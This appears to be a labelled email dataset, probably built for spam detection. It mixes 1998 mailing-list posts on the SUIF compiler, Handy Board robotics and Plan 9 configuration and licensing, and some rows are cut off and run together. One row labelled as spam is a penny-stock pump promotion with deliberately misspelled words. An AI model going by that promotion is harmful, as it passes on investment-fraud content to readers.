corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id FAA26233 for ; Thu, 26 Nov 1998 05:29:02 -0800 (PST) Date: Thu, 26 Nov 1998 14:30:04 +0100 (MET) Message-Id: <199811261330.OAA23307@tick.informatik.uni-stuttgart.de> Received: by tick.informatik.uni-stuttgart.de; Thu, 26 Nov 1998 14:30:04 +0100 (MET) From: Holger Kienle To: suif-talk@corsica.Stanford.EDU In-reply-to: <199811260442.XAA10165@bourassa.grm94> (doucet@grm94.polymtl.ca) Subject: Re: CFGs in Suif2 Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Holger Kienle # Hello, # # This question is for Suif 2 alpha 784. # # According to the Introductory Manual by Holger M. Kienle, # a chunk of executable code can be represented either as a cfg, # instruction_list or a statement_list. In the document, it is # said that Suif provides conversion passes that transform between # any of the cfo representation. The conversion passes have not been implemented yet (as far as I know). The document doesn't mention this explicitly because it was planned to implement them ""in the near future."" ;-) Holger # I've looked in the documentation and in the src/basesuif # hierarchy, and haven't found these passes. Could anybody point # me to the right file (or submodule) for cfg related conversions # and analysis? # # Regards, # # # Frederic Doucet # -- # (three weeks from B. Eng CE) # Ecole Polytechnique de Montreal, # Montreal, Qc # Canada # -- Holger M. Kienle kienle@cs.ucsb.edu fone: +49-7142-940077 www.cs.ucsb.edu/~kienle fax: +49-7142-940043 >From owner-suif-talk Thu Nov 26 07:09:55 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id HAA26355 for suif-talk-doit; Thu, 26 Nov 1998 07:09:42 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from campino.informatik.rwth-aachen.de (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id HAA26350 for ; Thu, 26 Nov 1998 07:09:37 -0800 (PST) Received: from ert.rwth-aachen.de (sun2.ert.RWTH-Aachen.DE [134.130.36.2]) by campino.informatik.rwth-aachen.de (8.9.1a/8.9.1/1) with SMTP id QAA16112 for ; Thu, 26 Nov 1998 16:10:15 +0100 (MET) Received: from fixwienix by ert.rwth-aachen.de (4.1/ERT-REL-1) id AA13805; Thu, 26 Nov 98 16:10:13 +0100 Message-Id: <365D6F53.4EB7F823@ert.rwth-aachen.de> Date: Thu, 26 Nov 1998 16:10:11 +0100 From: Andreas Ropers Organization: ISS X-Mailer: Mozilla 4.07 [en] (X11; I; SunOS 5.5.1 sun4u) Mime-Version: 1.0 To: suif-talk@corsica.Stanford.EDU Subject: Problems compiling: make_resource_database_entry Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Andreas Ropers Hy, I have problems compiling the SUIF-Package make_resource_database_entry. My System is: Sun Sparc Solaris 2.5.1 Compiler: Egcs 1.1b The First packages are compiling fine (scripts up to dynasty) Package make_resource_database_entry produces the following error: -------part of error messages----------- g++ -o make_resource_database_entry -g -pedantic -Wchar-subscripts -Wcomment -Wformat -Wimplicit -Wreturn-type -Wswitch -Wtrigraphs -Wreorder -Wpointer-arith -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DINLINE_ALL_TEMPLATES -frepo -fno-exceptions -DGCC_REPO_BUG_WORK_AROUND -DSUIF_STRIPPED_HEADERS -I/tools/home2/dspcomp/suif/include make_resource_database_entry.o start_sty.o \\ -L/tools/home2/dspcomp/suif/sparc_sun_solaris2.51/solib -L/tools/home2/dspcomp/suif/sparc_sun_solaris2.51/lib -ldynasty -lsty prog_ver.cc prog_ver.cc:0: warning: -frepo must be used with -c collect: recompiling make_resource_database_entry.cc collect: relinking collect: recompiling make_resource_database_entry.cc collect: relinking Undefined first referenced symbol in file cdlist_tos_base >::clear(void) /tools/home2/dspcomp/suif/sparc_sun_solaris2.51/solib/libsty.so [a lot of error messages with undefined Symbols following] ---------end of error messages------------ Does anybody of you had the same problems ? How did you solve them ? Thanks a lot Andreas >From owner-suif-talk Thu Nov 26 08:24:54 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA26439 for suif-talk-doit; Thu, 26 Nov 1998 08:24:40 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from empty.Stanford.EDU (cm2081664040.cableco-op.com [208.166.40.40]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA26435 for ; Thu, 26 Nov 1998 08:24:39 -0800 (PST) Received: (from brm@localhost) by empty.Stanford.EDU (8.8.7/8.8.7) id IAA18188; Thu, 26 Nov 1998 08:24:43 -0800 Date: Thu, 26 Nov 1998 08:24:43 -0800 Message-Id: <199811261624.IAA18188@empty.Stanford.EDU> From: Brian Murphy To: ropers@ert.rwth-aachen.de CC: suif-talk@corsica.Stanford.EDU In-reply-to: <365D6F53.4EB7F823@ert.rwth-aachen.de> (message from Andreas Ropers on Thu, 26 Nov 1998 16:10:11 +0100) Subject: Re: Problems compiling: make_resource_database_entry References: <365D6F53.4EB7F823@ert.rwth-aachen.de> Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Brian Murphy egcs-1.1b introduces a bug in the template handling which was not in egcs-1.0.3. The ""-frepo"" template mechanism which egcs uses is a hack. Each ""relinking"" step finds out what template specializations are missing by just trying to link and seeing what errors occur. Each ""recompiling"" step adds those specializations to the file and recompiles. Multiple steps are necessary one new template specialization may cause the need for another one, which is discovered only by relinking and failing. egcs 1.1b, for some reason, will not try more than 2 such steps, before its ""final"" relinking which looks for real errors. The make_resource_database_entry.cc code involves more than 2 levels of templates, so the ""final"" relinking step fails. egcs 1.0.3 did not have this problem, so you might just revert to that version. Alternately, manually add explicit declarations of the missing specializations, e.g.: template cdlist_tos_base>; You should also complain to the egcs bug list; I've already done so, but more voices may provoke a faster response. I don't think they have a test case with as much template uses as suif2-alpha. -Brian >From owner-suif-talk Thu Nov 26 18:52:00 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id SAA27123 for suif-talk-doit; Thu, 26 Nov 1998 18:51:18 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from Xenon.Stanford.EDU (Xenon.Stanford.EDU [171.64.66.201]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id SAA27119 for ; Thu, 26 Nov 1998 18:51:17 -0800 (PST) Received: (from cwilson@localhost) by Xenon.Stanford.EDU (8.9.1/8.9.1) id SAA28264; Thu, 26 Nov 1998 18:51:32 -0800 (PST) Date: Thu, 26 Nov 98 18:51:32 PST From: Chris Wilson To: Holger Kienle Cc: suif-talk@corsica.Stanford.EDU Subject: Re: CFGs in Suif2 In-Reply-To: Your message of Thu, 26 Nov 1998 14:30:04 +0100 (MET) Message-ID: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Chris Wilson > # Hello, > # > # This question is for Suif 2 alpha 784. > # > # According to the Introductory Manual by Holger M. Kienle, > # a chunk of executable code can be represented either as a cfg, > # instruction_list or a statement_list. In the document, it is > # said that Suif provides conversion passes that transform between > # any of the cfo representation. > > The conversion passes have not been implemented yet (as far as I > know). The document doesn't mention this explicitly because it was > planned to implement them ""in the near future."" ;-) > > Holger Back when I was involved, it was decided (not by me) that the conversion passes were not a high priority. It was later decided that since the conversion passes hadn't been written, nobody was using CFG form, so nobody wanted it, so it's going to be dropped. That's the last I had heard. Instead, there will be one or more CFG implementations that sit on the side, next to an instruction list or statement list. --Chris >From owner-suif-talk Fri Nov 27 06:24:43 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id GAA28326 for suif-talk-doit; Fri, 27 Nov 1998 06:23:41 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from apple3.eecs.harvard.edu (apple3.eecs.harvard.edu [140.247.60.178]) by corsica.Stanford.EDU (8.9.1/8.9.1) with SMTP id GAA28322 for ; Fri, 27 Nov 1998 06:23:39 -0800 (PST) Received: by apple3.eecs.harvard.edu; id JAA25465; Fri, 27 Nov 1998 09:24:19 -0500 Date: Fri, 27 Nov 1998 09:24:19 -0500 Message-Id: <199811271424.JAA25465@apple3.eecs.harvard.edu> From: Mike Smith To: kienle@trick.informatik.uni-stuttgart.de, suif-talk@corsica.Stanford.EDU In-reply-to: (message from Chris Wilson on Thu, 26 Nov 98 18:51:32 PST) Subject: Re: CFGs in Suif2 References: Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Mike Smith Just so that there is not any confusion, there has long been a mechanism for constructing and manipulating CFGs in SUIF. At Harvard, we have used and extended the cfg package from SUIF 1 in much of our work. We have ported the cfg package to Machine SUIF 2. Both Rice and Harvard are using this package (along with some control-flow and dataflow packages) to implement scalar and machine-specific optimizations. Our home page contains a document describing the cfg package (http://www.eecs.harvard.edu/machsuif). Mike > Date: Thu, 26 Nov 98 18:51:32 PST > From: Chris Wilson > Cc: suif-talk@corsica.Stanford.EDU > > > # Hello, > > # > > # This question is for Suif 2 alpha 784. > > # > > # According to the Introductory Manual by Holger M. Kienle, > > # a chunk of executable code can be represented either as a cfg, > > # instruction_list or a statement_list. In the document, it is > > # said that Suif provides conversion passes that transform between > > # any of the cfo representation. > > > > The conversion passes have not been implemented yet (as far as I > > know). The document doesn't mention this explicitly because it was > > planned to implement them ""in the near future."" ;-) > > > > Holger > > Back when I was involved, it was decided (not by me) that the > conversion passes were not a high priority. It was later decided that > since the conversion passes hadn't been written, nobody was using CFG > form, so nobody wanted it, so it's going to be dropped. That's the > last I had heard. Instead, there will be one or more CFG > implementations that sit on the side, next to an instruction list or > statement list. > > --Chris >From owner-suif-talk Fri Nov 27 08:46:02 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA28479 for suif-talk-doit; Fri, 27 Nov 1998 08:45:48 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from desh.cse.iitd.ernet.in (cse.iitd.ernet.in [202.141.68.3]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA28475 for ; Fri, 27 Nov 1998 08:45:18 -0800 (PST) Received: from saveri.cse.iitd.ernet.in (csu95153@saveri.cse.iitd.ernet.in [10.20.14.13]) by desh.cse.iitd.ernet.in (8.8.7/8.8.7) with SMTP id WAA30505 for ; Fri, 27 Nov 1998 22:15:22 +0530 Date: Fri, 27 Nov 1998 22:15:26 +0530 (IST) From: ""T.Vinod Kumar Gupta"" To: suif-talk@corsica.Stanford.EDU Subject: Function Call graph in SUIF-1.1.2 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: ""T.Vinod Kumar Gupta"" Dear all, I would like to know - Is there any way of getting the function call graph from the suif files, using any of the library routines provided by SUIF-1.1.2 ? Even if there is a roundabout way of doing this, please let me know. Eagerly waiting to hear, (as the information is urgently required) bye all, T.Vinod B.Tech. (Final year), C.S.E. Dept., IIT-Delhi. Email :- csu95153@cse.iitd.ernet.in tvinod78@hotmail.com >From owner-suif-talk Sat Nov 28 13:39:50 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id NAA00964 for suif-talk-doit; Sat, 28 Nov 1998 13:38:12 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from grm94.polymtl.ca (jtalon.grm94.polymtl.ca [132.207.108.4]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id NAA00960 for ; Sat, 28 Nov 1998 13:38:10 -0800 (PST) Received: from bourassa.grm94 (bourassa [132.207.108.9]) by grm94.polymtl.ca (8.9.1a/8.9.1) with SMTP id QAA15968; Sat, 28 Nov 1998 16:37:27 -0500 (EST) Received: by bourassa.grm94 (SMI-8.6/SMI-SVR4) id QAA17833; Sat, 28 Nov 1998 16:37:25 -0500 Date: Sat, 28 Nov 1998 16:37:25 -0500 From: doucet@grm94.polymtl.ca (Frederic Doucet) Message-Id: <199811282137.QAA17833@bourassa.grm94> To: kienle@trick.informatik.uni-stuttgart.de, suif-talk@corsica.Stanford.EDU, smith@apple3.eecs.harvard.edu Subject: Re: CFGs in Suif2 X-Sun-Charset: US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: doucet@grm94.polymtl.ca (Frederic Doucet) > > Just so that there is not any confusion, there has long been a > mechanism for constructing and manipulating CFGs in SUIF. At Harvard, Thanks, this is the that I was looking for. > we have used and extended the cfg package from SUIF 1 in much of our > work. We have ported the cfg package to Machine SUIF 2. Both Rice > and Harvard are using this package (along with some control-flow and > dataflow packages) to implement scalar and machine-specific > optimizations. Our home page contains a document describing the cfg > package (http://www.eecs.harvard.edu/machsuif). > I've looked through the Hube ftp archive, and haven't found these software packages (cfg, cfa, and dfa for Suif2). Are they available? Fred >From owner-suif-talk Sun Nov 29 12:24:24 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id MAA02633 for suif-talk-doit; Sun, 29 Nov 1998 12:22:20 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from rio.cos.ufrj.br (rio.cos.ufrj.br [146.164.34.1]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id MAA02620; Sun, 29 Nov 1998 12:20:12 -0800 (PST) Received: from angra.ufrj.br (angra.cos.ufrj.br [146.164.34.36]) by rio.cos.ufrj.br (8.8.5/8.8.5) with SMTP id SAA29069; Sun, 29 Nov 1998 18:21:46 -0200 (EDT) Received: by angra.ufrj.br (SMI-8.6/SMI-SVR4) id SAA01908; Sun, 29 Nov 1998 18:20:05 -0200 Date: Sun, 29 Nov 1998 18:20:05 -0200 From: silviotc@cos.ufrj.br (Silvio Tadeu Canola) Message-Id: <199811292020.SAA01908@angra.ufrj.br> To: suif-bugs@corsica.Stanford.EDU, suif-talk@corsica.Stanford.EDU Subject: named_lin_ineq intersection fail Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: silviotc@cos.ufrj.br (Silvio Tadeu Canola) Hi, I am intersecting two named_lin_ineqs, actually I have created a named_lin_ineq and intersect it with itself, so the result would be the original named_lin_ineq. Unfortunately, the result is corrupted! :-( Is it a bug? Is it a know bug? or I wrote the code in a wrong way??? Thanks in advance SilvioTC Here is the code, Makefile, output, and verdata files contents: PS: my $MACHINE sparc-sun-solaris2.5.1 Suif compiled with Reading specs from /usr/local/gnu/lib/gcc-lib/sparc-sun-solaris2.5.1/2.7.2.1/specs gcc version 2.7.2.1 ---------------code file: bug1.cc--------------- #include #include ""suif.h"" #include ""useful.h"" #include ""dependence.h"" void doteste(void){ name_table_entry nte1(""DIM1""); name_table_entry nte2(""ALPHA""); name_table nt1; nt1.insert(nte1,1); nt1.insert(nte2,2); printf(""\\nName Table: "");fflush(stdout); nt1.print(stdout); lin_ineq La(3,3); La[0][0]=1968; La[0][1] = 0; La[0][2]=-256; La[1][0]=-30; La[1][1]=+1; La[1][2]=-2; La[2][0]=1998; La[2][1]=-1; La[2][2]=0; named_lin_ineq nli1(nt1,La); printf(""The original named_lin_ineq\\n"");fflush(stdout);nli1.print(); named_lin_ineq nli2; printf(""Now intersecting...\\n1st test\\n"");fflush(stdout); named_lin_ineq *S=new named_lin_ineq; *S=nli1&nli1 S->print(); printf(""\\n2nd test\\n"");fflush(stdout); nli2=nli1&nli1nli2.print(); printf(""\\n3rd test\\n"");fflush(stdout); nli1&=nli1; nli1.print(); }; /*************************************************************************** * Initialize and iterate over all the procedures. * ***************************************************************************/ main(int argc, char * argv[]) { start_suif(argc, argv); //TTTTTTTTEEEEEEEEEEEEEEEESSSSSSSSSSSSSSTTTTTTTTTTTIIIIIINNNNNNNNNGGGGGGGGGGGG doteste(); } --------------end code ----------- ---------------MAKEFILE----------- TARGET = bug1 LIBS = -ldependence -lsuifmath -lbuilder -luseful -lsuif -lm SRCS = bug1.cc OBJS = bug1.o all: bug1 include $(SUIFHOME)/Makefile.std ---------------END MAKEFILE------- -------------output--------------- Name Table: DIM1 ALPHA The original named_lin_ineq DIM1 ALPHA [ ss] 1968 0 -256 -30 1 -2 1998 -1 0 Now intersecting... 1st test DIM1 ALPHA [ ss] 1968 0 -65536 -30 1 -2 1998 -1 0 2nd test DIM1 ALPHA [ ss] 1968 0 -65536 -30 1 -2 1998 -1 0 3rd test DIM1 ALPHA [ ss] 1968 0 -65536 -30 1 -2 1998 -1 0 exatas% -------------end output----------- ----------- verdata files contents ---------------- :::::::::::::: baseparsuif :::::::::::::: 1.0.0.beta.1 1.0.0.beta.2 :::::::::::::: basesuif :::::::::::::: 1.1.0 1.1.1 1.1.2 :::::::::::::: fortback :::::::::::::: 1.0.0.beta.1 1.0.0.beta.2 :::::::::::::: simplesuif :::::::::::::: 1.0.0.beta.1 :::::::::::::: suifbuilder :::::::::::::: 1.0.0.beta.1 :::::::::::::: suifcallgraph :::::::::::::: 1.0.0.beta.1 :::::::::::::: suifcookbook :::::::::::::: 1.0.0.beta.1 1.0.0.beta.2 :::::::::::::: suifps :::::::::::::: 1.0.0.beta.1 :::::::::::::: suifvbrowser :::::::::::::: 1.0.0.beta.1 ----------- end verdata files contents ------------",0,1 Fidel Boykin ,handyboard@media.mit.edu,"Mon, 02 Nov 1998 18:09:31 -0520",with a pink sheets s share JAS0N s return c0nsu1ted JER0ME,"Hot Voip sector. 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This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. re: the d011ars reviewed her share in HARVEY ",1,0 """Richard A. Cini, Jr."" ",HBList ,"Mon, 02 Nov 1998 20:21:12 -0500",Using sonar to approximate RADAR?,"Hello, all: I've been following this list for some time now, but since I didn't have an HB, I didn't contribute to the discussion. Now, I've just ordered my HB because I plan to start building. But I have a question... I have a model police car, 1:12 scale R/C. I thought that it would be neat to have the car ""patrol"" an area containing other R/C cars, and determine which ones were ""speeding"". Obviously K-55 doesn't make a radar gun 1:12 size, so I gave it some thought. Why not use sonar; a Polaroid-type module, but smaller? I figure that the speed of the car can be derived from the distance from the police car to the perp as measured by two consecutive samples at a known time interval. Some quick math should give me ds/dt, distance over time. Exceeding a pre-set limit would trigger the autonomous searching. Do you think that this is do-able? Comments welcome. Rich Cini/WUGNET - ClubWin!/CW7 - MCP Windows 95/Windows Networking - Collector of ""classic"" computers <========= reply separator ==========>",0,0 ctaylor@SRTC.COM,handyboard@media.mit.edu,"Tue, 03 Nov 1998 00:56:45 -0500",Cool robot platform and a question...,"Thanks to the help of Todd Graham (thanks Todd), I've found a really cool, low cost, RC robot platform. It's the same platform used by USC's 1997 RoboCup entry, the Nikko Hercules! It has 4 hard plastic drive wheels, dual drive motors, differential steering and the ability to raise and lower the chassis (changing the angle the wheels have to the ground, which changes the turning radius and the amount of wheel that has contact with the ground). I was planning on building my own H-bridge for it, and was surprised to find that it already has a dual H-bridge and a fairly decent run time. So, rather then build or purchase a new H-bridge I would like to hack apart the one that comes with the car. Being a software weenie, I don't have any experience reverse engineering a circuit. I started probing around for continuity to try and figure out what's what and I didn't get very far. When I tried to check voltages with the power applied, when I touched the circuit (or even got the probe near the circuit) the car would start twitching wildly, which makes debugging difficult. I was wondering if anyone had any luck interfacing to this or another Nikko car with differential steering. I'd hope that the circuits are similar... TR10 TR12 TR 13 TR 11 TR6 TR7 TR5 TR4 The controller board has 8 power transistors, 10 & 12, 13 & 11, 6 & 3, and 7 & 5 are connected to common heat sinks, and the heat sinks for 11-13 and 5-7 are electrically common. The circuit has a 22 pin DIP chip that I would guess interfaces with the radio and controls the bridge. If the DIP is parsing the radio signal and generating control signals for the H-bridge, I'd guess that I will have to remove it from the circuit and tap directly into the transistors. Also, the car is a bit fast, so I'd like to be able to PWM the motors. Any ideas? Would it be easier to just start from scratch? Many thanks, Clem ",0,0 Michael Carmody ,9fans@cse.psu.edu,"Sun, 01 Nov 1998 02:53:48 +0000",[9fans] Nameserver question,"I've loaded the diskette version of Plan 9 on my pc. The ethernet card is recognized ok. My question is how do the entries for the nameservers appear in the ndb file? The installation guide shows examples for the ip and gateway, but doesn't mention nameservers. Michael. ",0,0 James howard ,9fans@cse.psu.edu,"Sun, 01 Nov 1998 20:30:00 -0500",[9fans] Publicly Accessible Plan 9 System?,"Are there any publicly accessible Plan 9 systems? I was reading through the man pages and some of the commands just don't seem to make sense (read(1) for instance). I'd like to try these out in an operational environment. Does anyone know of or have such a set up? Thanks, Jamie ",0,0 """Rob S. Wolfram"" ",9fans@cse.psu.edu,"Thu, 29 Oct 1998 20:56:11 +0000",[9fans] DMR's OS :(,"(Crossposted to non-dutch groups) There was (is) a thread going on about someone violating DMR's copyright. He posted an article in the thread himself, of which I would like to present you the headers: From: Dennis Ritchie Newsgroups: nl.comp.programmeren,nl.comp.os.linux,comp.lang.c Subject: Re: ""The C programming Language"" now online Date: Wed, 28 Oct 1998 02:04:36 +0000 Organization: Bell Labs, Lucent Technologies Lines: 11 Message-ID: <36367BB4.7B3A@bell-labs.com> References: Reply-To: dmr@bell-labs.com NNTP-Posting-Host: cebu.cs.bell-labs.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 3.01 (Win95; U) ^^^^^ I have read about this happening before, but this time I witnessed it myself. How it it possible that the very person who brought us Unix and the C language, apparently doesn't believe enough in his own design to use it as a client OS and uses this sorry excuse of an OS instead? I think he really underestimates the example he is setting with this. :( He is still one of my heroes, but I am not very pleased right now. I do consider this post advocacy, so I didn't cc DMR himself. But it would be nice if he would join the forum and reply on this. HAND, -- Rob S. Wolfram ejbysenz@jv.yrvqrahavi.ay efj@zpf.ay e.f.jbysenz@nzp.hin.ay PGP: 768/07606049 31 09 D2 D7 57 B4 F4 FC CA FC 1F 34 8C BA C8 56 Use ROT-13 to get a valid e-mail address. No UCE please.",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Tue, 03 Nov 1998 03:14:33 -0500",Re: [9fans] Nameserver question ,"Michael Carmody writes: | I've loaded the diskette version of Plan 9 on my pc. The ethernet card | is recognized ok. My question is how do the entries for the | nameservers appear in the ndb file? The installation guide shows | examples for the ip and gateway, but doesn't mention nameservers. Something like: dom= ns=A.ROOT-SERVERS.NET ns=B.ROOT-SERVERS.NET ns=C.ROOT-SERVERS.NET dom=A.ROOT-SERVERS.NET ip=198.41.0.4 dom=B.ROOT-SERVERS.NET ip=128.9.0.107 dom=C.ROOT-SERVERS.NET ip=192.33.4.12 dom=example.com ns=foo.example.com",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Tue, 03 Nov 1998 10:10:30 +0000",Re: [9fans] Publicly Accessible Plan 9 System?,"i don't think the existing licence, although its terms are broad, allows providing access to people outside an organisation that has got a licence or a member with a licence. you might be able to try the 4 diskette demo system, but that typically isn't easy to install on an already partitioned PC (and you might not have one to spare anyhow). in the particular case of read(1), here's an example: while(x=`{read}) echo $x it reproduces each line of a unicode file. no doubt amongst other things read(1) can be used by rc scripts to read a little data from files, and to prompt for input (as in /rc/bin/termrc): echo -n 'Mouse port is (ps2, 0 (DOS''s COM1), 1 (DOS''s COM2)):' mouseport=`{read} switch($mouseport){ case ps2 0 1 if(~ $monitor '') monitor=vga aux/vga -l $vgasize aux/mouse -dC $mouseport case * echo Cannot recognize mouse type ""$""mouseport"" } or in a self-contained command following an example for the Bourne Shell in Kernighan & Pike's The Unix Programming Environment (as it then was). % cat pick.rc #!/bin/rc # pick -- echo selected items to the standard output fn ask { echo -n $1^'? ' >/dev/cons x=`{read ","DjKOz97@aol.com, handyboard@media.mit.edu","Tue, 03 Nov 1998 06:57:56 -0600",Re: Line follower kit,"Hi Dave, I have a line tracker kit and also the IRPD infrared proximity detector kits from Lynxmotion constructed but do not know how to connect them to the handyboard. I contacted Jim Frye with Lynxmotion but he said he was not familiar with the handyboard. Please let me know your connections and possibly share some code if you have any success. Thanks Terry Gathright ---------- > From: DjKOz97@aol.com > To: handyboard@media.mit.edu > Subject: Line follower kit > Date: Monday, November 02, 1998 7:07 AM > > I was wondering if anybody had used the Line follower kit from the robotstore? > Is it pretty much plug and play (besides a little programming) for the > handyboard? > Thanks. > Dave ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 03 Nov 1998 08:51:30 -0500",Re: Cool robot platform and a question...,"Clem, In a message dated 98-11-03 01:04:33 EST, you write: << I started probing around for continuity to try and figure out what's what and I didn't get very far. >> This is the right place to start. If you can see the circuit traces, copy them to a piece of paper. The part your really trying to find is which lines connect to the controlling chip. I figure that you have two choices here, one is a simple H bridge type ciruit with one or two outputs from the chip to the Amp per motor; the other choice is a linear amplifier driven from the control chip with feedback from the power amplifier. A clue to the latter would be finding a pair of resistors (called a voltage divider) connected near the output. (This would have two resistors connected together in series, one end connected to the output, the other end connected to ground and the middle connected to the controller chip). Once you have the outputs from the chip, it's time to find out what they normally do. Attach minus of your volt meter to the minus terminal of the battery. With the power on and the car off the ground, touch the plus lead of your meter to these points on the controlling chip. See what happens when the car is commanded to go forward, reverse, turning,... Do each test with DC, AC, and Pulse detection on your meter. (I assume that you don't have an O'scope. If you can get to one, use it to make these measurements.) Once you know what the control chip does to drive this amplifier, you remove the chip and you tap into its place and mimic what it did. << When I tried to check voltages with the power applied, when I touched the circuit (or even got the probe near the circuit) the car would start twitching wildly, which makes debugging difficult.>> Radio circuits are sensitive and low level RF noise can make them do stuff. try twisting the meter leads together as much as you can, connect the minus meter lead to battery minus and then test. You also might consider touching the tip of the plus lead to the tip of the minus to discharge it, although the meter resistance should have done this (sometimes the meter impedance is high enough to make this worthwhile). If your hitting the gates of FETs, you could be charging/discharging them enough to turn them on, although I would be most surprised to find that you have a gate driven by a high impedance circuit. Be very careful not to touch two points with the probe tip at the same time, Sensitive circuits toast easily. <>> I don't think so, though it might be easier to buy an H bridge circuit and replace the existing one. Hope this helps Pherd",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Tue, 03 Nov 1998 15:27:08 -0800",Re: [9fans] Publicly Accessible Plan 9 System? ,"> i don't think the existing licence, although its terms are broad, > allows providing access to people outside an organisation that has got > a licence or a member with a licence. you might be able to try the 4 > diskette demo system, but that typically isn't easy to install on an > already partitioned PC (and you might not have one to spare anyhow). When I first read the above, I thought to myself ""wait, was it just the source code? Or was it everything?"" -- Looking up the license again, it does indeed seem to be EVERYTHING. So according to the license, in fact one may not let people even log in to the system if they are not a license holder. How sad. :( 1. LICENSE. Lucent Technologies Inc. (LUCENT) grants you, the LICENSEE, a personal, non-transferable and non-exclusive license to use the enclosed software programs, documentation, and other materials (collectively SOFTWARE), subject to the terms and restrictions of this Agreement. The term SOFTWARE includes any works derived or modified from the enclosed materials, but does not include your original works, even though they conform to specifications included in the SOFTWARE provided such works are not derived or modified from the SOFTWARE. [...] This SOFTWARE may be used by you or by an organization of which you are a member or employee solely for research or educational purposes. Without executing an applicable sublicense with LUCENT, no part of the SOFTWARE may be published, sold, or offered for sale, nor may any part of the SOFTWARE be made available on a computer network external to you or your organization, nor may commercial services utilizing this SOFTWARE be sold or offered for sale. You may transmit derived or modified portions of this SOFTWARE specifically to other LICENSEES of LUCENT who are bound by the terms of this Agreement solely for their internal research or educational purposes. ",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Tue, 03 Nov 1998 15:35:12 -0800",Re: [9fans] Nameserver question ,"> I've loaded the diskette version of Plan 9 on my pc. The ethernet card > is recognized ok. My question is how do the entries for the > nameservers appear in the ndb file? The installation guide shows > examples for the ip and gateway, but doesn't mention nameservers. If you don't plan to be a domain-level server yourself, you may want to piggy-back off whatever domain-level server does exist for your network. What I have in mine is: dom= ns=cilantro.stanford.edu ns=cassandra.stanford.edu ns=caribou.stanford.edu dom=cilantro.stanford.edu ip=171.64.7.99 dom=cassandra.stanford.edu ip=171.64.7.77 dom=caribou.stanford.edu ip=171.64.7.55 The above gives me full DNS capability off of the Stanford DNS system. Of course, this also means that if their DNS has a bad cache or something, I won't be able to do anything about it. And, as was shown earlier, you can have specific dom= entries for specific domains, or have a 'dom=' entry with a list of the root-level DNS servers. Jim",0,0 Will ,Handyboard Mailing List ,"Tue, 03 Nov 1998 08:55:29 -0700",Re: Using sonar to approximate RADAR?,"Richard A. Cini, Jr. wrote: > I have a model police car, 1:12 scale R/C. I thought that it would be > neat to have the car ""patrol"" an area containing other R/C cars, and > determine which ones were ""speeding"". Obviously K-55 doesn't make a radar > gun 1:12 size, so I gave it some thought. Why not use sonar; a Polaroid-type > module, but smaller? > > I figure that the speed of the car can be derived from the distance from > the police car to the perp as measured by two consecutive samples at a known > time interval. Some quick math should give me ds/dt, distance over time. > Exceeding a pre-set limit would trigger the autonomous searching. That ought to work fine, provided the cop is almost directly in front of or behind the ""perp""; then no correction for angle is necessary. The Polaroid sonar detects objects within about a 10-degree cone. It might still work if the sonar is angled across the ""roadway"", but it would take some careful calibration: You could estimate the relative bearing of the perp vehicle based on the amount of time for it to cross into and then out of the 10-degree cone (you'd need to keep sampling at a high rate). That, along with a couple of range readings and a bunch of trigonometry, ought to give you both the speed and the direction of travel. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America is the only nation in history Will Bain, which miraculously has gone directly from & Tatoosh barbarism to degeneration without the usual interval of civilization. --George Clemenceau",0,0 